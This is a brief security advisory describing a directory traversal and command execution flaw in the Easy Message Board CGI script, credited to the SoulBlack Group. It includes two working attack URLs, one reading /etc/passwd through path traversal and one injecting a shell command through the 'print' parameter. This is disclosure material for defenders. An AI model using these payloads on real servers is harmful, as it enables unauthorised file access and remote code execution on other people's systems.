[UNIX] Easy Message Board Directory Traversal and Command Execution

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  Easy Message Board Directory Traversal and Command Execution
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SUMMARY

A new vulnerability was identified in  
<http://www.geocentral.net/colscripts/index.html> Easy Message Board, 
which may be exploited by attackers to compromise a vulnerable web server. 
This flaw is due to an input validation error in the "easymsgb.pl" script 
where the variable print that is put under "open()", does not have a 
control of data, which may be exploited by a remote attacker to execute 
arbitrary commands with the privileges of the web server.

DETAILS

Exploits:
The following URLs can be used to trigger the vulnerability:
http://SITE/cgi-bin/emsgb/easymsgb.pl?print=../../../../../../../../etc/passwd
http://SITE/cgi-bin/emsgb/easymsgb.pl?print=|id|


ADDITIONAL INFORMATION

The information has been provided by  <mailto:[email protected]> 
SoulBlack Group.
The original article can be found at:  
<http://www.soulblack.com.ar/repo/papers/easymsgb_advisory.txt> 
http://www.soulblack.com.ar/repo/papers/easymsgb_advisory.txt



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